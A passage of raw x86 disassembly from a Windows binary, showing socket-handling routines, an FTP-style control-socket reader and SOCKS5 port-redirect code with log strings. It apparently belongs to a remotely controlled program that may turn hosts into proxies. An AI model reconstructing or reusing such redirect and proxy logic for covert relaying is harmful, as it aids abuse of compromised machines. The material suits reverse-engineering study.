call near ptr 71AB3E00h test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh call near ptr 2850303h nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax nop call near ptr 71AB9639h loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3ED push offset byte_446F70 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A8D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx call near ptr 77C1C561h nop add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 58681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445450h, 80A49DE8h, 0C4839077h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52406807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h dd 83F08B77h, 0F33B08C4h, 38681E75h, 90004454h, 80A435E8h dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h dd 54386824h, 3E80044h, 907780A4h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3DC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3DC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445230 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" nop call near ptr 77C36DF2h add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, 